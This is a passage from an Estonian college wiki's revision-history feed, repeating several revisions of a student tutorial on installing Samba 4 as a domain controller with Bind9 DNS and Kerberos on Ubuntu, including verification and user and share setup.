&amp;lt;/source&amp;gt;&lt;br /&gt;
Näiteks on meil nimeserveri aadress 192.168.56.200. (tuleb lisada teistest nimekirjas olevatest nimeserveritest ettepoole, muidu pole asjast kasu ja ei võta Bind9&#039;st vastuseid)&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
name server 192.168.56.200&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==Kerberose paigaldamine/seadistamine==&lt;br /&gt;
Tõstame Samba4 poolt loodud spetsiaalse Kerberos5 konfiguratsioonifaili kausta /etc/&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
cp /var/lib/samba/private/krb5.conf /etc/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kuna Kerberos on vaikimisi olemas Samba4 installimisega, siis oleks vaja ka seda kontrollida, et kas töötab korralikult ja kas seadistused said õigesti. &amp;lt;br&amp;gt;&lt;br /&gt;
Paigaldame krb5-user paketi&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install krb5-user&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Paigaldamise käigus küsib ta realm&#039;i. Meie näite puhul on selleks SAMBA.PIIX.EE&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
==Kontroll==&lt;br /&gt;
Kontrollime, kas Samba4 töötab:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient -L SAMBA.PIIX.EE -U%&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund peaks olema midagi sarnast ehk näitab väljajagatud failide/kausta/printerite nimekirjasid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	Sharename       Type       Comment&lt;br /&gt;
	---------       ----       -------&lt;br /&gt;
	netlogon        Disk       &lt;br /&gt;
	sysvol          Disk       &lt;br /&gt;
	IPC$            IPC        IPC Service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Autentimise kontrollimiseks võiks käivitada järgneva käsu:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient //SAMBA.PIIX.EE/netlogon -UAdministrator%&#039;Student1&#039; -c &#039;ls&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljundiks peaks tulema netlogon kausta sisu.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos server töötab. Küsitakse admin parooli ehk praegusel juhul on Student1 selleks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
kinit Administrator@SAMBA.PIIX.EE&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Edukal töötamisel ta mingit väljundit ei anna.&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos annab välja ka pileti ehk Ticketi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
klist&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemus peaks olema midagi sarnast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_0&lt;br /&gt;
Default principal: Administrator@SAMBA.PIIX.EE&lt;br /&gt;
&lt;br /&gt;
Valid starting     Expires            Service principal&lt;br /&gt;
01/07/13 23:51:12  01/08/13 09:51:12  krbtgt/SAMBA.PIIX.EE@SAMBA.PIIX.EE&lt;br /&gt;
	renew until 01/08/13 23:51:09&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
=Kasutajate ja gruppide ning jagatavate kaustade loomine=&lt;br /&gt;
Loome kaustad &amp;quot;share&amp;quot; ja &amp;quot;opilane&amp;quot;. &lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mkdir -p /var/data/share&lt;br /&gt;
mkdir -p /var/data/profiles&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Loome ka vastavad kasutajad ja grupid.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
adduser share&lt;br /&gt;
adduser opilane&lt;br /&gt;
addgroup jagatud&lt;br /&gt;
addgroup opilane&lt;br /&gt;
adduser share jagatud&lt;br /&gt;
adduser opilane opilane&lt;br /&gt;
samba-tool newuser share&lt;br /&gt;
samba-tool newuser opilane&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Anname kaustadele ka vastavad omanikud ning grupid&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
chown share:jagatud /var/data/share&lt;br /&gt;
chown opilane:opilane /var/data/profiles&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Tehtud kaustade väljajagamine ja õiguste määramised=&lt;br /&gt;
Avame Samba4 konfiguratsiooni faili smb.conf&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60456</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60456"/>
		<updated>2013-01-07T22:18:34Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Autorid: Urmo Lihten A31 ja Kersti Lang A31 (2012 sügissemester)&lt;br /&gt;
&lt;br /&gt;
=Sissejuhatus=&lt;br /&gt;
Samba 4 võimaluste rohke failiserver.&lt;br /&gt;
Suurimad omadused:&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
ja palju muud.&lt;br /&gt;
&lt;br /&gt;
=Eeldused=&lt;br /&gt;
Kasutusel on Ubuntu 11.04, millel on juba Bind9 paigaldatud domeeniga piix.ee. Kasutusele läheb Samba 4.0.0~alpha15~git20110124.&lt;br /&gt;
&lt;br /&gt;
=Paigaldamine= &lt;br /&gt;
==Samba4 installeerimine==&lt;br /&gt;
Logida sisse administraatorina:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
sudo -i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Teha tarkvara nimekirja uuendamine:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get update&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Installeerida Samba4 jaoks vajalikud paketid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4 samba4-clients&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Juhul kui eksisteerib vana Samba konfiguratsiooni fail, siis see kas kustutada või teha backupiks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mv /etc/samba/smb.conf{,.old}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bind9 konfiguratsiooni faili loomine== &lt;br /&gt;
Eeldab, et smb.conf faili pole olemas. &amp;lt;br&amp;gt;&lt;br /&gt;
Samuti tuleb jälgida järgnevas käsus, et --realm juures märgitud argumendiks SAMBA.PIIX.EE kõrval tuleb --domain argumendiks kirjutada SAMBA.&amp;lt;br&amp;gt;&lt;br /&gt;
PIIX või millegi muu korral ei hakka Kerberos tööle korralikult.&amp;lt;br&amp;gt;&lt;br /&gt;
--adminpass ehk administraatori parool peab olema vähemalt ühe suure tähega ja ühe numbriga ning vähemalt 7 tähemärki pikk.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.so.0.0.1 /usr/share/samba/setup/provision --realm=SAMBA.PIIX.EE \&lt;br /&gt;
--domain=SAMBA --adminpass=Student1 --server-role=&#039;domain controller&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemuse lõpuosa peaks olema midagi sarnast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
See /var/lib/samba/private/named.conf for an example configuration include file for BIND&lt;br /&gt;
and /var/lib/samba/private/named.txt for further documentation required for secure DNS updates&lt;br /&gt;
A Kerberos configuration suitable for Samba 4 has been generated at /var/lib/samba/private/krb5.conf&lt;br /&gt;
Please install the phpLDAPadmin configuration located at /var/lib/samba/private/phpldapadmin-config.php into /etc/phpldapadmin/config.php&lt;br /&gt;
Once the above files are installed, your Samba4 server will be ready to use&lt;br /&gt;
Server Role:           domain controller&lt;br /&gt;
Hostname:              ns&lt;br /&gt;
NetBIOS Domain:        SAMBA&lt;br /&gt;
DNS Domain:            samba.piix.ee&lt;br /&gt;
DOMAIN SID:            S-1-5-21-115115566-1439331126-697070417&lt;br /&gt;
Admin password:        Student1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Samba4 seonduvate skriptide muutmine ja loomine==&lt;br /&gt;
Kuna Samba4 ei kontrolli startimisel Samba kataloogi olemasolu /var/run kaustas, siis lisame selle võimaluse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/init.d/samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisame koodile juurde SAMBAPID kontrollimise read &amp;quot;log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot; &amp;quot;alla:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
                log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot;&lt;br /&gt;
&lt;br /&gt;
                #Lisatud juurde 3 rida&lt;br /&gt;
                if [ ! -d $(dirname $SAMBAPID) ]; &lt;br /&gt;
                        then mkdir -p $(dirname $SAMBAPID) &lt;br /&gt;
                fi &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb luua fail /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Selle sisuks tuleb&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.0.0.1 /usr/sbin/$(basename $0)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Teeme eelnevale ka lingid&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_dnsupdate}&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_spnupdate}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Samba 4 käivitamine&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==DNS seadistamine==&lt;br /&gt;
Muudame Bind9 konfiguratsiooni&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kaasame Samba4 poolt loodud konfiratsiooni Bind9 seadetesse&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
include &amp;quot;/var/lib/samba/private/named.conf&amp;quot;;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Apparmor&#039;i probleem==&lt;br /&gt;
Kuna Apparmor kaitseb Samba4 konfiguratsiooni Bind9 eest, siis peab tegema erandid Apparmorisse.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/apparmor.d/usr.sbin.named&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Lisada lõppu ennem viimast } märki järgmised read:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/var/lib/samba/private/* rw,&lt;br /&gt;
/var/lib/samba/private/dns/* rw,&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Laeme uuesti Apparmori profiilid ja teeme Bind9&#039;le ka restardi.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/etc/init.d/apparmor reload&lt;br /&gt;
/etc/init.d/bind9 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==Nimeserverid paika==&lt;br /&gt;
Kuna Samba4 kasutab Bind9 DNS lahendust, siis oleks mõistlik lisada oma /etc/resolv.conf&#039;i oma nimeserver kui seda juba seal pole:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/resolv.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Näiteks on meil nimeserveri aadress 192.168.56.200. (tuleb lisada teistest nimekirjas olevatest nimeserveritest ettepoole, muidu pole asjast kasu ja ei võta Bind9&#039;st vastuseid)&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
name server 192.168.56.200&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==Kerberose paigaldamine/seadistamine==&lt;br /&gt;
Tõstame Samba4 poolt loodud spetsiaalse Kerberos5 konfiguratsioonifaili kausta /etc/&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
cp /var/lib/samba/private/krb5.conf /etc/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kuna Kerberos on vaikimisi olemas Samba4 installimisega, siis oleks vaja ka seda kontrollida, et kas töötab korralikult ja kas seadistused said õigesti. &amp;lt;br&amp;gt;&lt;br /&gt;
Paigaldame krb5-user paketi&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install krb5-user&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Paigaldamise käigus küsib ta realm&#039;i. Meie näite puhul on selleks SAMBA.PIIX.EE&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
==Kontroll==&lt;br /&gt;
Kontrollime, kas Samba4 töötab:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient -L SAMBA.PIIX.EE -U%&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund peaks olema midagi sarnast ehk näitab väljajagatud failide/kausta/printerite nimekirjasid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	Sharename       Type       Comment&lt;br /&gt;
	---------       ----       -------&lt;br /&gt;
	netlogon        Disk       &lt;br /&gt;
	sysvol          Disk       &lt;br /&gt;
	IPC$            IPC        IPC Service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Autentimise kontrollimiseks võiks käivitada järgneva käsu:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient //SAMBA.PIIX.EE/netlogon -UAdministrator%&#039;Student1&#039; -c &#039;ls&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljundiks peaks tulema netlogon kausta sisu.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos server töötab. Küsitakse admin parooli ehk praegusel juhul on Student1 selleks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
kinit Administrator@SAMBA.PIIX.EE&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Edukal töötamisel ta mingit väljundit ei anna.&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos annab välja ka pileti ehk Ticketi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
klist&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemus peaks olema midagi sarnast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_0&lt;br /&gt;
Default principal: Administrator@SAMBA.PIIX.EE&lt;br /&gt;
&lt;br /&gt;
Valid starting     Expires            Service principal&lt;br /&gt;
01/07/13 23:51:12  01/08/13 09:51:12  krbtgt/SAMBA.PIIX.EE@SAMBA.PIIX.EE&lt;br /&gt;
	renew until 01/08/13 23:51:09&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
=Kasutajate ja gruppide ning jagatavate kaustade loomine=&lt;br /&gt;
Loome kaustad &amp;quot;share&amp;quot; ja &amp;quot;opilane&amp;quot;. &lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mkdir -p /var/data/share&lt;br /&gt;
mkdir -p /var/data/opilane&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Loome ka vastavad kasutajad ja grupid.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
adduser share&lt;br /&gt;
adduser opilane&lt;br /&gt;
addgroup jagatud&lt;br /&gt;
addgroup opilane&lt;br /&gt;
adduser share jagatud&lt;br /&gt;
adduser opilane opilane&lt;br /&gt;
samba-tool newuser share&lt;br /&gt;
samba-tool newuser opilane&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Anname kaustadele ka vastavad omanikud ning grupid&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
chown share:jagatud /var/data/share&lt;br /&gt;
chown opilane:opilane /var/data/share&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
=Tehtud kaustade väljajagamine ja õiguste määramised=&lt;br /&gt;
Avame Samba4 konfiguratsiooni faili smb.conf&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60455</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60455"/>
		<updated>2013-01-07T22:03:05Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Autorid: Urmo Lihten A31 ja Kersti Lang A31 (2012 sügissemester)&lt;br /&gt;
&lt;br /&gt;
=Sissejuhatus=&lt;br /&gt;
Samba 4 võimaluste rohke failiserver.&lt;br /&gt;
Suurimad omadused:&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
ja palju muud.&lt;br /&gt;
&lt;br /&gt;
=Eeldused=&lt;br /&gt;
Kasutusel on Ubuntu 11.04, millel on juba Bind9 paigaldatud domeeniga piix.ee. Kasutusele läheb Samba 4.0.0~alpha15~git20110124.&lt;br /&gt;
&lt;br /&gt;
=Paigaldamine= &lt;br /&gt;
==Samba4 installeerimine==&lt;br /&gt;
Logida sisse administraatorina:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
sudo -i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Teha tarkvara nimekirja uuendamine:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get update&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Installeerida Samba4 jaoks vajalikud paketid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4 samba4-clients&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Juhul kui eksisteerib vana Samba konfiguratsiooni fail, siis see kas kustutada või teha backupiks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mv /etc/samba/smb.conf{,.old}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bind9 konfiguratsiooni faili loomine== &lt;br /&gt;
Eeldab, et smb.conf faili pole olemas. &amp;lt;br&amp;gt;&lt;br /&gt;
Samuti tuleb jälgida järgnevas käsus, et --realm juures märgitud argumendiks SAMBA.PIIX.EE kõrval tuleb --domain argumendiks kirjutada SAMBA.&amp;lt;br&amp;gt;&lt;br /&gt;
PIIX või millegi muu korral ei hakka Kerberos tööle korralikult.&amp;lt;br&amp;gt;&lt;br /&gt;
--adminpass ehk administraatori parool peab olema vähemalt ühe suure tähega ja ühe numbriga ning vähemalt 7 tähemärki pikk.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.so.0.0.1 /usr/share/samba/setup/provision --realm=SAMBA.PIIX.EE \&lt;br /&gt;
--domain=SAMBA --adminpass=Student1 --server-role=&#039;domain controller&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemuse lõpuosa peaks olema midagi sarnast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
See /var/lib/samba/private/named.conf for an example configuration include file for BIND&lt;br /&gt;
and /var/lib/samba/private/named.txt for further documentation required for secure DNS updates&lt;br /&gt;
A Kerberos configuration suitable for Samba 4 has been generated at /var/lib/samba/private/krb5.conf&lt;br /&gt;
Please install the phpLDAPadmin configuration located at /var/lib/samba/private/phpldapadmin-config.php into /etc/phpldapadmin/config.php&lt;br /&gt;
Once the above files are installed, your Samba4 server will be ready to use&lt;br /&gt;
Server Role:           domain controller&lt;br /&gt;
Hostname:              ns&lt;br /&gt;
NetBIOS Domain:        SAMBA&lt;br /&gt;
DNS Domain:            samba.piix.ee&lt;br /&gt;
DOMAIN SID:            S-1-5-21-115115566-1439331126-697070417&lt;br /&gt;
Admin password:        Student1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Samba4 seonduvate skriptide muutmine ja loomine==&lt;br /&gt;
Kuna Samba4 ei kontrolli startimisel Samba kataloogi olemasolu /var/run kaustas, siis lisame selle võimaluse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/init.d/samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisame koodile juurde SAMBAPID kontrollimise read &amp;quot;log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot; &amp;quot;alla:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
                log_daemon_msg &amp;quot;Starting Samba 4 daemon&amp;quot; &amp;quot;samba&amp;quot;&lt;br /&gt;
&lt;br /&gt;
                #Lisatud juurde 3 rida&lt;br /&gt;
                if [ ! -d $(dirname $SAMBAPID) ]; &lt;br /&gt;
                        then mkdir -p $(dirname $SAMBAPID) &lt;br /&gt;
                fi &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb luua fail /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Selle sisuks tuleb&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.0.0.1 /usr/sbin/$(basename $0)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Teeme eelnevale ka lingid&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_dnsupdate}&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_spnupdate}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Samba 4 käivitamine&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==DNS seadistamine==&lt;br /&gt;
Muudame Bind9 konfiguratsiooni&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kaasame Samba4 poolt loodud konfiratsiooni Bind9 seadetesse&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
include &amp;quot;/var/lib/samba/private/named.conf&amp;quot;;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Apparmor&#039;i probleem==&lt;br /&gt;
Kuna Apparmor kaitseb Samba4 konfiguratsiooni Bind9 eest, siis peab tegema erandid Apparmorisse.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/apparmor.d/usr.sbin.named&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Lisada lõppu ennem viimast } märki järgmised read:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/var/lib/samba/private/* rw,&lt;br /&gt;
/var/lib/samba/private/dns/* rw,&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Laeme uuesti Apparmori profiilid ja teeme Bind9&#039;le ka restardi.&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/etc/init.d/apparmor reload&lt;br /&gt;
/etc/init.d/bind9 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==Nimeserverid paika==&lt;br /&gt;
Kuna Samba4 kasutab Bind9 DNS lahendust, siis oleks mõistlik lisada oma /etc/resolv.conf&#039;i oma nimeserver kui seda juba seal pole:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/resolv.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Näiteks on meil nimeserveri aadress 192.168.56.200. (tuleb lisada teistest nimekirjas olevatest nimeserveritest ettepoole, muidu pole asjast kasu ja ei võta Bind9&#039;st vastuseid)&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
name server 192.168.56.200&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==Kerberose paigaldamine/seadistamine==&lt;br /&gt;
Tõstame Samba4 poolt loodud spetsiaalse Kerberos5 konfiguratsioonifaili kausta /etc/&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
cp /var/lib/samba/private/krb5.conf /etc/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kuna Kerberos on vaikimisi olemas Samba4 installimisega, siis oleks vaja ka seda kontrollida, et kas töötab korralikult ja kas seadistused said õigesti. &amp;lt;br&amp;gt;&lt;br /&gt;
Paigaldame krb5-user paketi&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install krb5-user&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Paigaldamise käigus küsib ta realm&#039;i. Meie näite puhul on selleks SAMBA.PIIX.EE&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
==Kontroll==&lt;br /&gt;
Kontrollime, kas Samba4 töötab:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient -L SAMBA.PIIX.EE -U%&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund peaks olema midagi sarnast ehk näitab väljajagatud failide/kausta/printerite nimekirjasid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	Sharename       Type       Comment&lt;br /&gt;
	---------       ----       -------&lt;br /&gt;
	netlogon        Disk       &lt;br /&gt;
	sysvol          Disk       &lt;br /&gt;
	IPC$            IPC        IPC Service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Autentimise kontrollimiseks võiks käivitada järgneva käsu:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient //SAMBA.PIIX.EE/netlogon -UAdministrator%&#039;Student1&#039; -c &#039;ls&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
